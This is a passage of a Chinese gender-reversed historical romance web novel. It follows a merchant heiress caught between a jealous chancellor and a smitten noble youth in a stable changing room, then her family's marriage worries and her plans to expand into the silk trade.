门销都插不上,宋瑶一个女人,索性作罢,脱掉骑马服,因为护着温初的缘故,身上磕了大大小小的淤青,她本就肤色白皙,此事看着便有些骇人,不过索性并无大碍,都是小伤。 宋瑶着白色的里衣,坐在凳子上,随意将裤腿捋上去,膝盖破了皮,倒也还好。 忽地,门吱呀一声,被推开了。 逆着光,陆润之的身影出现在眼前,他衣着干净华贵,与眼前简陋粗糙的更衣室格格不入,他的目光垂落,看到宋瑶青紫的膝盖,瞳孔缩了缩,眼中闪过心疼。 宋瑶放下了裤腿,状若无事地笑着打招呼,似乎并无不妥,“丞相大人,怎么来了这里?” 陆润之眼神闪过一抹受伤,他不语,抿了抿唇,反手关上那扇吱呀作响、根本关不严实的木门,慢慢走过去,在宋瑶腿边蹲下,浅色衣袍下摆不可避免地沾染了地面的灰尘。 他重新挽起了她的裤腿,从袖筒里掏出一瓶金疮药,他拔开瓶塞,一股清冽微苦的药香瞬间弥漫开来、 宋瑶顿了下,识得他拿的是上好的金疮药,她这点小伤实在用不上,过两天就好了,于是道:“小伤而已,无事。” 陆润之像是没听到,紧抿的唇线绷得更直,微微倾身,冰凉的指尖带着药膏,轻轻触碰上宋瑶膝盖的伤处,专注而认真,像是在做一件神圣的事情。 果真是上好的金疮药,涂上的瞬间,膝盖的不适感立刻消失了。 陆润之沉默地给她膝盖上完药,另一只手,轻轻握住了她放在身侧、带着擦伤的手腕,仔细而认真的重复刚才的动作。 宋瑶任由他上完药,轻声说了句,“谢谢。” 陆润之合上金疮药,放在一边的凳子上,却并没有起身,而是依旧伏在她腿边,微凉的手指,顺着她的膝盖,爬上她的大腿内侧…… 宋瑶呼吸一窒,推开他,“快起来吧,衣服脏了。” 陆润之却抓住她的手,按下,再次附身,脸颊贴在她未受伤的膝盖上,另一只不安分地手在游走,不安分地点燃每一处纹理。 简陋的更衣室内光线更加昏暗,空气仿佛瞬间凝固,冰与火之间的碰撞,却产生了灼热的火花。 方才还端着一副权臣的模样,此时却伏在她腿边。 “为什么要答应温初,去参加比赛?”陆润之枕在她膝盖上,深邃的眼眸烟波流转,垂下的睫毛,却遮不住嫉妒和委屈,任由在眸中蔓延,反正在这阴暗破烂的空间,也无人看见。 宋瑶眼神一暗,轻轻吐出一口气,准备推开他,轻轻道:“你先起来再说,这样成何体统。” 陆润之眼睛眨了下,手指微动,慢慢探到了无人之地,很是不安分。 宋瑶眼神一暗,“唔……” 陆润之:“温初他性子娇纵跋扈,小小年纪,便周旋在各种女人之间,你不要被他骗了……” 宋瑶快被他磨死了,他却还在说这种话。 不行,这么下去,恐怕要出事,她负不起责任。 她使了力气,正准备强制推开他,忽地听到门外传来叩门声。 “叩叩——” 紧接着,温初的声音在门外响起。 “姚颂,我有话对你说,你出来。” 第82章 温初揣着金创药,抓住路过的孙晴问道:“姚颂在哪里?” 孙晴识得他是尚书家的小公子,于是毕恭毕敬地回答:“回公子,她在更衣室更衣。”只是纳闷儿了,今天怎么一个接着一个都找少家主,方才丞相大人刚刚过去。 孙晴想要不要把丞相大人也去找了宋瑶的消息告诉温初,最后还是多一事不如少一事,缄默不言。 温初摆了摆手,“我知道了,你下去吧。” 孙晴离开后,温初顺着她指的方向快步走去,忽地脚步又慢下来,手里紧紧地攥着金疮药,面露纠结。 他这样跑过去找她,是不是太掉身价了,毕竟她只是一个小小的马夫,他这样跑过去找她算什么? 不行,得让她来见自己。 温初咬了咬嘴唇,转身往回走,脑海中浮现她擦伤的手腕,又顿住脚步。 他去找她,只是为了警告她不许将今日的事情说出去,仅此而已,至于这药膏,就当是赏给她了,毕竟她救了自己,他可不是那般不知道知恩图报的人。 对,就是这样。 温初说服了自己,再次抬起脚步,朝更衣室的方向走去,心里逐渐忐忑,他从小受的都是大家公子的教养,且出身又好,向来都是别的女子追在他身后跑,这么私下去找外女,还是头一次。 温初走到了更衣室门外,身体微微僵硬,木门破破烂烂的都关不严,泄露了一丝光,一想到姚颂在里面换衣服,呼吸都有点乱了。 他手指微动,嘴唇抿了抿,僵在原地,等宋瑶出来。 良久,他站的腿都微微发酸,还没等到她出来,只听到里面窸窸窣窣的声响,他挪动脚步,走上前,抬手,轻轻叩了叩木门。 “姚颂,我有话对你说,你出来。” 这样站在女子更衣室外,还敲门,是他能够做到的最大限度了,他不能再等了,温臻马上就要来找她了。 温初的脸颊跟耳尖都微微发红,嘴唇紧抿着,心都快跳出胸腔了。 一门之隔,门里面的动静很容易被听到。 宋瑶听到温初的声音,微微一惊,似乎是不满意她的分心,那惹人的手指在她腿侧掐了一下。 宋瑶“嘶”的一声,倒吸一口冷气,猛地抓住了他的手,垂眸看着枕在她腿上的人,眼神闪过一抹难以言喻的暗潮,她压低了声音,低声警告:“别闹了!” 她向来说话温和,待人和善,如此疾言厉色,还是头一次。 陆润之自然也听到了温初的声音,清脆的,带着未脱的少年稚气,浓烈的嫉妒像藤蔓般爬上了他的心脏,狠狠勒紧,勒得他几乎喘不过气来。 温初为什么会在她换衣服的时候找来,明明知道她在里面换衣服,还要叫她,安的是什么心,小小年纪,就会这样勾引人,不知廉耻。 手腕被她带着薄怒的力道强制握住,捏得有些生疼,这股疼痛非但没有让他收敛,反而彻底点燃了他心底翻腾的酸楚。 陆润之从她腿上抬起脸,那双在外人面前运筹帷幄的眼眸里,此时蒙上了一层薄薄的水汽,眼尾微微泛红,浓密的睫毛湿漉漉地颤动,仿佛真的被她那声呵斥伤到了,带着一丝脆弱和伤心。 “你这么害怕被看到吗?” 他眸中的情绪,支离破碎,声音轻轻的。 宋瑶觉得他一定是疯了。 难道该害怕的不应该是他吗,他堂堂丞相,在这狭小破烂的马场更衣室,伏在一个马夫的身下,如此场景被传出去,怕是要身败名裂了,关键是还连累她,怎么会如此不清醒。 “姚颂,你在里面吗?”温初的声音带着一丝不易察觉的急切,穿透了薄薄的、关不严实的木门。 这声音如同投入死水的石子,瞬间打破了门内那几乎凝滞的的空气。 宋瑶皱眉,抓住陆润之的手,想要将他推开。 “不要去——” 陆润之的声音里带着他自己都未曾察觉的惊惶,还未说完,就被宋瑶捂住了嘴唇,她的掌心温热,紧紧压在他的唇上,另一只手钳制住他的手,指节用力到泛白,仿佛要将他的骨头捏碎。 “不许出声。”宋瑶的声音带着一丝警告,深深望进他的眼眸中,带着不容置喙。 陆润之望着她,眼中水汽弥漫,方才因嫉妒而微微泛红的眼尾,此刻血色迅速褪去,显出一种近乎透明的苍白,他握紧身侧的拳头,还是听话的,轻轻点了点头。 宋瑶慢慢松开了手,陆润之垂下头,右手轻轻揉着左手手腕,宋瑶低头看去,这才发觉他白皙的皓腕,被她一着急,掐出了几道红痕,她的眸光闪了闪,张口想说什么,又什么都没说。 宋瑶转身朝门口走去,“来了。” 门外的温初松了一口气,同时心又提起来,他挺直了腰背,这样让自己看起来气势足些,只是微红的耳尖却出卖了他,他捏着金疮药,紧紧盯着门口,忐忑地等待门被拉开,脑海里已经反复演练过多次见到她的场景。 陆润之看着宋瑶的背影,眼眸闪了闪。 宋瑶自然是知道温初来做什么,少年的心思,在他推开她,羞得面红耳赤,目光闪躲的时候就可以看出来,简单而浅薄的心动,大多是因为一副皮囊。 宋瑶走到那扇破旧的木门前,伸出手,在她碰到门闩的一刹那,身后忽然传来紧促的脚步声,接着一双胳膊缠上了她的腰,紧紧缠住。 “不要见他,求你……” 一丝气音贴近她的耳朵,完全失了平日的沉稳,细听之下,带着不易察觉的颤抖和哽咽,模糊不清。 仅一门之隔。 温初听到里面传来磕磕碰碰的声响,以为宋瑶在里面发生了什么事,着急地想要推门而进,“怎么了,你没事吧?” 眼瞧着那破门被推开,这幅场景如何能被温初瞧见! 宋瑶心里一慌,立刻反手死死抵住被温初推开一道缝隙的木门,那破旧的门轴发出不堪重负的呻吟,偏偏这时,脖颈处传来一片温热,某只不安分的手穿过她衣服侧边,滑入内里,缓缓向上…… “唔……” 宋瑶的浑身战栗,连呼吸都乱了一瞬,身上那手指滑过之处,像是点燃了一把火,耳边贴着他灼热的、颤抖的呼吸,持续不断地刺激他敏感的颈窝,她本就禁欲克制多年,早些年倒是馋他的身子,眼下却是被他勾起了一身的火。 以前的他恨不得衣服裹得严严实实,不露出一丝一毫,如今却大着胆子在这破财的房间勾引她。 “姚颂?”温初焦急的声音再次响起,听到里面传来闷哼,以为她发生了什么。 宋瑶眸色深沉,深吸一口气,抓住那只作乱的手,却不好动静太大,尽量使自己的声音显得平静,“没事,不小心摔了一下,等我整理一下衣服。” 整理一下……衣服…… 温初面红耳赤,缩回了手,结结巴巴道:“好、好的……” “嘶……” 脖颈处传来一片湿漉漉的温热,缓缓地有向下的趋势,也不知谁教他的这些。 宋瑶转过身,按住他的肩膀,皱着眉头,眼神充满了警告。 陆润之湿漉漉的眼眸对上她的视线,抿了抿嘴唇,眼波流转间,精致的眉眼间带着一丝乞求,那双眼睛仿佛会说话一样,宋瑶仿佛读懂了他想说什么。 他的手指微动。 宋瑶眉心一跳,条件反射般的,隔着衣服,抓住他的手,低声,“你做什么?!” 他这次倒是听话地抽出手,抬起藕臂,环上了她的肩膀,整个人贴上她的身体,呵气如兰,他分明很笨拙,眼角眉梢却故意作出媚态,正因如此,才显露出几分勾人而不自知的风情,柔弱无骨地缠上她。 他咬上了她的耳朵,软了声音,“姐姐。” 他紧紧贴上宋瑶的身体,宋瑶后退一步,他就前进一步,最后她贴到了门上,发出吱呀一声。 陆润之抽出手,拨动门内那简陋的木栓,咔哒一声锁上,眼神晦暗不明,带着一丝迷蒙。 他什么都没有,他的权利她不稀罕,他的才艺她也不喜欢,唯有他还尚存的皮囊和这幅身子,依稀对她有些吸引力,至少那个时候,她是喜欢他的皮囊和身子的… 他不想再看到她浅笑着,将她往外推的表情,哪怕能引起她一丝一毫的情绪波动,也值了。 狭小的空间,光线再次变得晦暗不明,空气仿佛凝滞了。 陆润之贴近宋瑶的耳边,眼神迷蒙,吐气如兰,像是勾人的妖精般,什么身份权利,礼义廉耻都被他拋在了脑后。 “姐姐,你要了我吧,不用负责,没有人知道的……” 那些公公都说,女人都无法拒绝男子这般…… 宋瑶瞳孔猛地瑟缩,双手不自觉抚上他的纤细的腰,轻轻颤抖,眸光颤动,她不自觉滚了滚喉咙。 救命! 这是谁教他的! 门外,温初听到门内的动静,整个身体僵硬住了,忐忑不安的心情,忽地像被泼了盆冷水,浇灭了他心头炽热的火焰。 他…听到了男子的声音,还有一丝娇喘。 她……她怎么可以…… 饶是未经人事的温初,也猜到了里面发生了什么。 温初的脸色倏地变得煞白,隔着门缝,她看到了女子白皙的肩膀,肌肉线条清晰,还看到隐隐闪过的男子的手… 明明此刻他该走的,可是脚步像是被定住了一样,僵在原地。 “嗯…” 直到门内穿来一声女子的闷哼,他才如梦初醒,羞得面红耳赤,猛地后退一步,跌跌撞撞地跑开了。 第83章 房间内,空气逐渐升温,两人的炽热的气息交织在一起,逐渐变得粘稠起来,令 人的呼吸逐渐急促。 宋瑶艰难地抓着身上人的手,却抵不住他贴着自己的身体蹭来蹭去,他微凉的嘴唇贴着自己的脖颈,脖颈处的衣领被他扯开,露出一片肌肤,随即被温热照顾到,所过之处,仿佛点燃了火花,那火花顺着肌肤末梢神经一直蔓延到心头,格外地磨人。 宋瑶艰难地控制住自己的呼吸频率,不发出声音,饶是如此,门外的温初应该也听到了,宋瑶只盼着他赶紧走开,他们才刚刚认识,他应该犯不着非要推门而入,毕竟还是未出阁的公子,自持身份。 果不其然,门外凌乱的脚步声响起,渐行渐远。 宋瑶松了一口气,绷直的脊背放松下来,靠在身后的门上,垂着眼看依旧紧紧攀附在身上的人,眼神不似以往清明,似是隐藏着暗潮,波涛汹涌,身体内像是烧了一把火。 陆润之搂着她的脖颈,微微拉开了距离,眼尾泛红,烟波流转间,眸光似是浮着一层薄薄的水光,波动的情绪交织在一起,他微微眨了眨眼,深深地望进她的眼里。 “姐姐,为什么不要了我,明明你也动情了……” 他内心有一丝隐晦的欣喜,因为自己的身子还对她吸引力,同时又难堪、失望,他抛开了从小到大所接受的礼义廉耻的教训,不顾一切,在这个地方,想把自己献给她,她却迟迟不碰他…… 是嫌弃他了吗? “你不要嫌弃我,这么些年,只有你……碰过我……” 陆润之说完,咬了下嘴唇,他也是第一次在她面前说这种话,羞得面色通红,却依旧大着胆子用身子蹭着她的胸前,满面艳霞,绯红如云。 宋瑶觉得今日自己不要了他,就不是个女人,可是要了他,她的小命难保。 陆润之瞥见她眼里的挣扎,似乎知道她在想什么,声音软了软,“不用负责,没有人会知道的,我自愿的……” 宋瑶忍不住眉心一跳,闭了闭眼睛,深吸一口气,强制压下身体的燥热,再次睁眼时,眼中已恢复些清明,她使了力气,推开他,拉开距离,呵斥道:“陆润之,你知道自己在做什么吗!” 陆润之被推开,眼中闪过一抹受伤,他又想贴上去,却被宋瑶制止。 宋瑶的眼中没了往日的温和,取而代之的是一片冷清,隐隐夹杂着未消散的情。欲。 陆润之的情绪几乎要抑制不住,“宋瑶,为什么不要了我?” 宋瑶拉上肩上的衣服,瞧着他衣衫凌乱,眼睛发红的模样,这幅模样如何出去见人,让人一看就知道发生了什么。 宋瑶整理好自己的衣服,冷静道:“你在这里冷静一下。” 说罢,她便夺门而出。 破旧的木门发出吱呀的声响,陆润之的身影隐藏在昏暗的光线中,显得孤寂落寞。 他跌坐在地上,浑身像被抽干了力气,失魂落魄。 他都那般抛弃他所有的教养和礼义廉耻,不顾及身份和脸面,如花楼的男子一般,学着那勾人的模样,她依旧无动于衷。 宋瑶她真的对他没有一点感觉了吗? 他将能想到的办法全都用到了,依旧得不到她的一点点垂怜。 陆润之抱紧了膝盖,缩成一团,像受伤的独自舔舐伤口的小兽。 他也没有很伤心,就是不知道怎么办才好了…… 宋瑶走出更衣室的门后,一不留神,脚下踢到了什么东西,她低头一看,正是与陆润之手中同款的金疮药,像是被人刻意放在了地上,她拾了起来,收在袖子里,毕竟上好的金疮药,不用白不用。 孙晴远远地躲在不显眼处蹲着,先是看到那温家小公子神色慌慌张张地跑出去,面色通红,像是被欺负了一样。 又过了不久,少家主才从更衣室里出来,倒是面色平静,衣衫整齐。 只是丞相大人不知道去了何处? 孙晴看到宋瑶,立刻迎了上去,禀告,“少家主,已将所有客人全都送走。” 宋瑶点了点头,“知道了。” 莫名的,孙晴觉得少家主此时心情不太好,虽然她面上不显,但是可感觉到,像是憋了一股火,无处发泄。 宋瑶道:“吩咐一下,不要靠近方才我那间更衣室。” 孙晴不明所以,依旧应道:“欸,知道了。” 于是便吩咐人不准靠近,不多时,当她不经意路过那间更衣室附近时,看到丞相大人从那更衣室走了出来! 丞相大人衣衫整洁,神情一如既往地冷漠,只是还是叫她看见了他外袍微皱,浅色的衣衫上沾染了灰尘。 孙晴立刻藏起来,觉得自己发现了什么了不得的秘密。 那间更衣室,温家公子,少家主,和丞相大人接二连三出来…… 少家主。 牛的。 _ 温初跌跌撞撞从更衣室处跑回马场,才平复了心虚,脑海中被方才看到的艳色充斥,扰乱她的心绪,无论如何都挥之不去。 他快走到温臻身边时,放慢了脚步,深呼吸几口,拍了拍自己的脸颊,镇定下来,调整步伐,才走过去。 温臻看到他面色怪异,便问道:“怎么去那么久,发生什么事了,你脸色这么奇怪?” 温初镇定道:“没事,只是方才迷了路,有些热而已。” 此时陶婉又上前,目露关怀,“小初,你膝盖上的伤要紧吗?可否需要看大夫?” 温初眼中闪过一丝厌恶,这种卑鄙无耻的小人,还敢肖想他,他面上挂一丝假笑,“多谢陶姐姐关怀,小初无碍。” 待人员聚齐,他们便一同返程,今日有丞相大人发话,谁也不敢将今日之事泄露出去。 宋瑶忙碌了一天,也回到了宋府。 晚上睡觉的时候,云岫服侍她睡下,最后双手抱住了她的腰,意味不言而喻。 宋瑶默许了他的动作,衣衫摩挲,她的眼眸暗了暗,半响,推开了他,意兴阑珊。 第84章 宋瑶终于受不了李容在她耳边不断念叨,主动结束了未满一个月的休假,跟着宋琼开始上班。 宋琼早就盼着宋瑶回来接手家业,自己早早退休,与夫郎一起游山玩水,她与李容膝下只有这么一个女儿,自然也盼着她早日成家生子,这么些年,同龄人的孩子都开始上学堂了,宋瑶也没个动静,李容自然着急。 宋琼倒是觉得没什么,只是瞧着夫郎着急,她自己心里也不好受,于是这日去店铺的路上,她便直接问了宋瑶:“阿瑶,现在只有你我在,你跟娘亲说实话,你是不是有那什么磨镜之好?” 此时,宋瑶正歪在她娘亲的豪华大马车里,翘着二郎腿,正在打瞌睡,忽然被她娘亲的话惊醒,惊恐道:“娘,你在说什么啊?” 宋琼一本正经,神色凝重,“为娘思来想去,只有这么一个原因,否则这么些年,你身边也每个人,也不愿意成亲,说不过去。”顿了下,“如果你真有这方面的癖好,今早跟我和爹爹说清楚,我们也可以试着理解。” “……” 宋瑶哭笑不得,“没有这回事。” 宋琼扫了她一眼,“那就是忘不掉陆润之,现在又因着人家身份,不敢在一起?” 宋瑶叹了口气,“娘亲,你真是越说越离谱了。” 宋琼也摸不准她的心思,只道:“你是个有主意的孩子,娘亲也不多说什么,不要有太大压力,你爹爹那边我会去说的。” 上辈子没感受过亲情的温暖,这辈子倒叫她从宋琼和李容身上感觉到了,在这个封建王朝,有这样娘亲很幸运。 宋瑶的眼神柔和了几分,过去抱了宋琼的胳膊,“谢谢娘亲。” 贴的近了,才发现,宋琼鬓边已经生出了白发。 宋琼推了一下她的脑袋,嫌弃道:“起开。”但是没怎么用力。 宋瑶转了一下眼珠子,问道:“娘亲,你有没有听说朝廷 要开设丝绸之路,促进和西域的文化商业交流。” “没有。”宋琼闻弦歌而知雅意,“你从哪里知道的,有想法?” 宋瑶笑道:“上次去马场伺候那些大小姐听到的,左不过现在无聊,的确有些想法。” 宋琼想了想道:“既是丝绸之路,自然是向外输出有价值的物品,我们家做的是棉麻锦缎,丝绸涉猎甚少,且树大招风,我的建议是维持现状即可。” “娘亲言之有理。”宋瑶笑了笑,点头附和。 宋琼点了点她的脑袋,“敷衍我呢,我知道你有想法。” 宋瑶顿了下,道:“闲着也是闲着。” 宋琼侧目看她,自从她成婚后,不仅成熟了很多,还好像打通了任督二脉,做起生意以来得心应手,谈起生意比她还老练,若不是还偶尔看到她混不吝的模样,还真以为女儿换了个人。 “你若要做,为娘也不拦着你,只是万事当心,莫要跟丞相大人走得太近。”宋琼叮嘱道,她不得不承认,女儿早已不是需要她庇护在羽翼下的雏鸟,而是振翅欲飞、野心勃勃的鹰隼。 宋瑶眼眸闪了闪,笑道:“娘亲,我心中有数。” 如宋琼所说,宋氏布行主要涉及的锦缎棉麻,在丝绸方面涉及甚少,早年宋琼曾有这个想法,只是彼时市场供大于求,且丝绸成本高昂,便不了了之,只是近些年才在上层社会流行起来,只是宋琼年纪大了,没了开拓市场的心思。 如果宋瑶能继承她的志向,也算了了她的一桩心愿,只是宋氏布行已经位于行业顶尖的位置,如果再涉及丝绸领域,恐怕会被朝廷盯上,树大招风正是这个道理。 宋瑶却不这么认为,虽说树大招风,但风也能助火势,船到桥头自然直,她得现有话语权,才好做一些事情,于是盘算起来。 家里的生意宋瑶已十分熟悉,接手起来十分容易,她便一边着手眼前的工作,一边趁着应酬的时候打听朝廷的风向,此外,还命人去了解目前丝绸的市场运作情况,一时间忙碌起来,便叫她觉得日子没那么无聊,有了一丝挑战性。 陆润之送她的棋局依旧未解开,她也无暇顾及,他差人送了几封信过来,宋瑶放在了书房,没来及看。 马场那边派人说,温初曾派人打听过她的情况,孙晴问她怎么回复,宋瑶有些讶异,本以为温初误打误撞,见到了那番场景,不会再来找她,没想到还派人打听她的情况。 这算什么,贵族子弟上演爱上马夫的戏码吗? 宋瑶觉得好笑,便告知孙晴,下次若再找来,就说她辞工回老家了,本就是她心血来潮,不该还有什么。 温初却不这么想,自打那次从马场回来,他便魂不守舍的,无论是吃饭还是睡觉,脑海里不断闪过那日的画面,女子从马上救下他,将他牢牢护在怀里,身上带着淡淡的清香,救下他后只默默捂着受伤的胳膊,站在人群后面,一言不发,而后是他在马场简陋的更衣室瞥见的,女子白皙的肌肤,有力的臂膀,若有若无的喘息…… 这两幕场景交织在一起,快要把温初逼疯了。 他到底在想什么啊,那马夫只不过是长得好看了一点,除此之外,身份卑贱,私生活混乱,没有一点好处,有什么值得他挂念的。 再说了,他们身份云泥之别,根本不可能。 温初这么想,理智无数次劝自己忘掉,但是那颗该死的心,好似管不住自己,总是回想起马夫温柔的笑容。 温初自以为自己忘掉了宋瑶,可那日晚上,他做了个梦,又梦到了在马场那日他在更衣室,只不过梦中,他变成了门内的那个,那个马夫将他抵在门上,耳鬓厮磨,温热的呼吸交织在一起,温柔的吻落在他的锁骨处,逐渐向下…… 第二日清晨,温初醒来,寝裤湿了一片,而那。处还挺着,他颤着手,向下摸去……第一次起晚了。 姚颂她只是一个老老实实的马夫,不善言辞,不争不抢,肯定是有贱人勾引 那天,他忍不住偷偷差人去马车打听了姚颂的情况,然而回来的人却说她辞工回家了。 肯定是因为受不了那个野男人的纠缠吧,又无法拒绝。 温初心想。 晚饭的时候,尚书大人注意到温初的反常,便问道:“小初怎么了,这两天都魂不守舍的。” 温初这才回过神来,眼里闪过一丝心虚,“没、没事。” 温臻瞥了他一眼,笑了笑,道:“娘,小初可能是有一些男儿家的心事呢。” 温初瞪了她一眼,哪壶不开提哪壶。 尚书大人眼中滑过一丝笑意,放下筷子,问道:“对了,我想起来,那日去赛马,玩的如何,小初可有心仪的女子?” 温初心里一咯噔,忙装作害羞的模样,低下了头,似是十分不好意思。 温臻笑道:“小初害羞呢。” 尚书大人:“不用害羞,看中了谁,跟娘亲说,娘亲为你做主。” 温初嗫嚅道:“没、没有……” 尚书大人笑道:“没有吗,我倒是瞧着那中书侍郎家的女儿很不错,文武双全。” 温初眼中闪过一丝厌恶,立刻道:“她不行!” 尚书大人一愣,看向温臻,“这是发生了何事?” 温初抢在温臻前面回答:“她不讲武德,比赛中使用阴招,差点害孩儿摔下马,幸亏孩儿骑术精湛。” 尚书大人眯了眯眼,立刻明白其中的弯弯绕绕,询问温臻,“可有此事?” 温臻点了点头。 尚书大人叹息一声,“那便作罢,未曾想到她是这样的人,为娘再帮你物色别的世家女君。” 温初立刻保住尚书大人的胳膊撒娇,“娘亲,我年纪还小,再等等吧,也不着急,孩儿想多陪陪您。” 尚书大人宠溺地笑道:“你啊。” 温臻的视线频频落在温初身上,带着一丝打量。 吃过晚饭,两人分别回到自己的院子中。 路上,温臻叫住了温初,他最近很不对劲,那模样,分明是男儿思春的样子,作为长姐,温臻是清楚的,自家弟弟眼高于顶,谁都看不上,为何从马场回来就变得这副模样,细想之下,她想出了点门道,那日,那马夫为了救他,手似乎受伤了,随后温初便要了金疮药,再未归还。 温初疑惑,温臻叫住了他,却不说话,“长姐,怎么了?” 温臻:“那日你问我要的金疮药呢?” 温初心里一咯噔,面上不显,“用完了。” 温臻慢悠悠道:“那你膝盖上的伤好了吗?” 温初点点头,“已经好的差不多了,那金疮药果然好使,多谢长姐。” 温臻:“让我看看你的膝盖怎么样了?” 温初心里一紧,后退一步,“男女授受不亲,已经好了。” 温臻瞧他这幅心虚的模样,结合他这几天的表现,便猜到了一二,面色冷了下来,“温初,你要知道,你的婚姻大事可不是儿戏,莫要闹出什么丑闻出来。” 温初皱眉,像炸了毛的猫,“温臻,你什么意思!” 温臻:“我什么意思,你心里清楚,金疮药你给了谁,你心里清楚。” 她的话像是遏制住了蛇的七寸,温初的气焰顿时灭了,目光闪躲,“我不懂你在说什么。” 温臻也不跟他废话,“你好好反思一下,歇掉不该有的心思。” 说罢,她便离开。 温初望着她的背影,咬了咬唇,这些臭女人,只顾着自己的想法,把他当做联姻的工具,长姐跟娘亲一样- 宋瑶花了一点时间,理清了宋家的产业,又花了一些时间,打听丝绸之路的情况,因未曾接触高层官员,未没到确切的消息,但八九不离十,开拓丝绸生意的事情可以着手提上日程。 宋氏布行如今根基深厚,人脉宽广,正是扩张的最佳时机,守着锦缎棉麻固然安稳,但丝绸利润更大,且是朝廷‘丝绸之路’的主推之物。若能搭上这趟东风,宋家未必不能更上一层楼。 丝绸利润高,风险大,原料来源、织造技艺、染印秘方,都被江南那几家老字号把持得死死的,但是江南地带,可算得上宋瑶的老巢。 宋瑶立刻修书一封,送给了江南的桑卿彦,而巧的是,信刚刚送出,她就接到了一封陌生的拜帖,打开一看,竟然是桑卿彦送来的。 拜帖中提到,他因生意上的事情,几日前抵达京城,邀她一聚。 宋瑶喜出望外,万万没想到桑卿彦此时会出现在京城,便立刻赴约。 第85章 自打宋瑶走后,桑卿彦总觉得这繁华的扬州城,虽熙熙攘攘,却总是空空的,再也没有那个女子言笑晏晏,找他喝茶聊天。 听说那座茶楼的琴师沈竹,在她走以后,再也没有登过台,好似他的琴只为她抚。 但是有什么用呢。 无论是他,还是沈竹,斗都只不过是她人生中的匆匆过客,谁也未曾在她心里留下一片阴影,未曾激起她心中一丝波澜。 桑卿彦依旧记得那年在税务司门口,宋瑶看向陆润之的眼神,充满着浅浅的欢喜,亮晶晶的,像是点亮了全世界,或许只有少年的陆润之能惹得她多看一眼,可这世间有几人像少年时的陆润之那般惊为天人呢,就连如今褪去少年稚气的陆大人,也无法相比。 从某方面来说,宋瑶冷静、理智地可怕。 桑卿彦自认为洒脱,从一开始知道宋瑶的为人,便将自己那份心思扼杀在摇篮里,不抱有不该有的幻想,与宋瑶的来往,也是朋友之交,至少在宋瑶在扬州的这几年,他一直是这么认为的。 宋瑶走后,那些被狠狠扼制在内心深处的情丝开始抽丝剥茧,突破防线,放肆疯长,连同他的理智,一起吞没。 桑卿彦觉得自己应该去争取一下,除了生意上的事情,他从来没有未自己争取过,或许是有机会的。 大约是他来扬州的第三年,他们一起喝茶,彼时他正为婚事发愁,媒人介绍的女子不是嫌弃他年纪大,就是嫌弃他抛头露面,甚至让他成亲后,相妻教女。 简直是笑话,他辛辛苦苦,费尽心思抢过来的家业,怎么可能在家里相妻教女。 还有那愿意入赘的,一个个跟被逼迫似的,搞得他好像恶人一样。 彼时,她笑着听他抱怨,没有一丝不耐烦,看着她含笑的眼睛,他不知怎么,脱口而出,“如果你二十五岁还没成亲,不如我俩凑合在一起算了,也算是强强联合,合作共赢。” 等他说完,才发觉自己说了什么傻话,她怎么会娶不到夫郎呢,那么多年轻俊美的男子,排着队想嫁给她。 当时她愣了一下,却依旧应了,“好啊。” 他知道她是为了不让他尴尬,却依旧忍不住开心。 现在她才二十二岁,也差不多二十五岁了,他便堂堂正正为自己争取一下,也算是没有遗憾了。 桑卿彦第一次来京城,的确是感受到京城与扬州城的不同之处,京城也繁华热闹,但庄重恢弘,秩序井然,扬州则是富丽繁华的背面,流淌着无尽的财富与欲望。 这便是她从小长大的地方吗? 桑卿彦来到京城,去自家铺子里看了看,用了两天时间感受京城的风土人情,终于给宋瑶递了个信,邀她一聚,打算把话向她说清楚。 如果娶了他,不仅能够助她的事业更上一层楼,而且他们认识她多年,知道她的喜好,能够陪她玩乐,此外,他也很大度,不会拘着她,她想娶几房侍夫都没关系。 桑卿彦忐忑地想。 见面的地点约在街上有名的茶楼中,桑卿彦特地要了个雅间,方便说事。 宋瑶在约定的时间来到茶楼,见到友人,自是开心,便笑道:“什么风把桑爷从扬州城吹来了,稀客啊。” 她一如既往温和地笑着,桑卿彦的眸光闪了闪,随即掩了掩眼底的情绪,同样笑道:“少贫,来京城看看你。” 宋瑶露出受宠若惊的表情,“那桑爷可真是赏脸了。”她从容地坐在他对面,给自己倒了杯茶,“可在京城中逛过没有?” 桑卿彦的目光落在她脸上,眼神温和,“来了几天了,已经逛过了,京城真是个好地方,怪不得你想回来。” 宋瑶笑道:“京城本来就是我的家,最近怎么样?” 桑卿彦摩挲着杯子,垂下眼睛,有一搭没一搭应着宋瑶的话,心绪已经跑远了,该怎么跟她说这种事呢? 宋瑶瞧着这人远道而来,把自己叫出来,现在却一副心不在焉的样子,手指在他杯子前叩了叩,“怎么了你,可有什么心事,一副心不在焉的样子。” 桑卿彦抬起眼,望向她,忽然紧张起来。 半响,他也没说一句话。 宋瑶笑道:“有什么话直说便是,犹犹豫豫可不是你的风格。” 桑卿彦深吸一口气,不自觉握紧了杯子,看进她的眼里。 宋瑶耐心地等着。 在她温和清澈的眼神下,桑卿彦眼中闪过一丝懊恼,最终泄了气般,“算了,说不出来。” 宋瑶噗嗤笑了。 桑卿彦羞恼。 宋瑶这时可不敢打趣他,看着他羞窘的模样,便转移了话题,“既然说不出来,那等能够说出来的时候再与我说吧。”顿了下,“我这里倒有一桩生意想与桑老板谈谈。” 桑卿彦:“……” 今天谁想听她谈生意啊。 第86章 宋瑶将自己的想法与桑卿彦简单说了下,比起宋氏布行,作为江南老字号的永昌号,在丝绸生意方面显然更有优势。 宋瑶徐徐道来,分析着利弊,“关于朝廷即将开设丝绸之路的事情多半已经确定,这是一个很大的商机,周边国家是一个全新的市场,正是我们开疆拓土的好时机……” 她好像对除了生意上的事情,没什么感兴趣了。 不对,她是对新鲜的东西感兴趣,喜欢挑战。 桑卿彦一边听她的分析,一边心不在焉的应着,他自然知道宋瑶是有这个能力的,她天生是个做生意的料子,具有敏锐的洞察力,可是他大老远从扬州赶来,可不是想与她一道做生意的。 可是他偏偏说不出口…… 桑卿彦低垂着眼眸,摩挲着杯子,咬了咬下唇,眼中闪过一抹挣扎,他看向宋瑶,目光落在那张温和的脸庞上,终究是割舍不下啊。 宋瑶简单扼要地说完了,询问他的意见,“你觉得怎么样?” 她的合作条件很丰厚,是任何一个合作伙伴都会心动的条件,正是因为有自信,才敢这么提。 桑卿彦自然会答应她,一方面是她聪明可靠,另一方面,他也为自己能够帮助到她而开心。 “可以,由你决定就好。”桑卿彦看着她的眼睛道,触碰到她柔和深邃的眼眸时,忍不住低下头,耳尖微微发红。 